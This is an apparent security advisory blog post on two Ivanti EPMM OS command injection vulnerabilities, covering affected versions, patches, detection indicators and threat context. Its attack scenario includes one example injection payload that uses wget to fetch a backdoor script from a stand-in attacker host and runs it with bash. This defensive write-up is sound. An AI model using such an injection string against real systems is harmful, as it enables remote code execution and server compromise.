Ivanti EPMM Security Update for July, 2025: Critical OS Command Injection Vulnerabilities

Written By Peter Girnus

Ivanti's Endpoint Manager Mobile (EPMM) July 8, 2025 security advisory reveals two high-severity OS command injection vulnerabilities in Endpoint Manager Mobile (EPMM) that enable authenticated remote code execution. While exploitation requires administrative privileges, the impact on enterprise mobile device management infrastructure demands immediate patching across all affected version branches.

High Severity Issues

CVE-2025-6770 - OS Command Injection (CVSS 7.2)

Affected Products: Ivanti EPMM versions prior to 12.5.0.2

Impact: This CWE-78 classified vulnerability allows remote authenticated attackers with high privileges to inject and execute arbitrary operating system commands through inadequately sanitized API parameters. Successful exploitation grants complete server control, enabling attackers to access managed device data, steal credentials, and establish persistent backdoors in enterprise MDM infrastructure.

Exploitation Status: No active exploitation observed

PoC Availability: None publicly available

Remediation: Upgrade to EPMM version 12.5.0.2 immediately. Post-patch, conduct comprehensive admin account audits and rotate all service credentials.

CVE-2025-6771 - OS Command Injection Across Multiple Branches (CVSS 7.2)

Affected Products:

  • EPMM < 12.5.0.2

  • EPMM < 12.4.0.3

  • EPMM < 12.3.0.3

Impact: Similar to CVE-2025-6770, this vulnerability enables OS command injection but affects multiple version branches. The broader impact scope requires organizations to carefully identify and patch all deployed EPMM instances across different version tracks.

Exploitation Status: No active exploitation observed

PoC Availability: None publicly available

Remediation: Apply version-specific patches:

  • 12.5.x branch → Upgrade to 12.5.0.2

  • 12.4.x branch → Upgrade to 12.4.0.3

  • 12.3.x branch → Upgrade to 12.3.0.3

Technical Deep Dive: Understanding OS Command Injection in EPMM

The Vulnerability

Both CVEs stem from improper input validation in EPMM's administrative API framework. When processing certain API requests, the application fails to adequately sanitize user-supplied input before incorporating it into system command execution calls. This classic command injection pattern allows attackers to append arbitrary OS commands using shell metacharacters.

The vulnerable code paths exist within task scheduling and system maintenance functions that legitimately require OS-level command execution. However, insufficient input filtering creates exploitation opportunities when malicious payloads bypass validation checks.

Attack Scenario

A typical exploitation sequence would involve:

  1. Initial Access: Attacker obtains high-privilege EPMM admin credentials through phishing, credential stuffing, or insider threat scenarios

  2. Authentication: Using stolen credentials, attacker authenticates to the EPMM administrative interface

  3. Payload Injection: Crafted API request containing embedded OS commands (e.g., ; wget http://attacker.com/backdoor.sh; bash backdoor.sh) sent to vulnerable endpoint

  4. Command Execution: Server processes the malicious input, executing both legitimate and injected commands with system privileges

  5. Persistence: Attacker establishes backdoor access, creates new admin accounts, or deploys web shells for continued access

Detection and Indicators

Organizations should monitor for:

  • Unusual process spawning from EPMM service accounts

  • Outbound connections from EPMM servers to uncommon destinations

  • New or modified files in EPMM web directories

  • Suspicious entries in EPMM audit logs showing parameter manipulation

  • Failed authentication attempts followed by successful high-privilege logins

Threat Landscape Context

While these specific CVEs show no active exploitation, the broader threat context remains concerning. China-nexus threat actor UNC5221 has demonstrated persistent interest in Ivanti products, actively exploiting previous EPMM vulnerabilities (CVE-2025-4427/4428) within 48 hours of disclosure.

Target industries align with strategic espionage objectives:

  • Healthcare: Access to patient data and research

  • Telecommunications: Network infrastructure intelligence

  • Government: Sensitive communications and policy documents

  • Defense: Military contractor communications

  • Finance: Economic intelligence and transaction data

The authentication requirement provides some protection, but shouldn't inspire complacency. Threat actors commonly chain vulnerabilities or leverage compromised credentials from other breaches to gain initial authenticated access.

Recommendations

  • Credential Hygiene: Given the authentication requirement, focus on protecting admin credentials through password managers, regular rotation, and segregation of duties

  • Network Controls: Deploy web application firewalls with command injection detection rules as defense-in-depth

  • Threat Intelligence: Subscribe to Ivanti security advisories and integrate with security operations workflows

  • Zero Trust Principles: Assume breach and implement continuous verification for administrative actions

Resources and References

The recurring discovery of critical vulnerabilities in Ivanti's enterprise management platforms underscores the importance of maintaining robust security programs around privileged infrastructure. While authentication requirements raise the bar for exploitation, the potential impact on mobile device fleets managing sensitive corporate data demands urgent attention. Organizations should implement both immediate patches and longer-term architectural improvements to protect against current and future threats.

Peter Girnus
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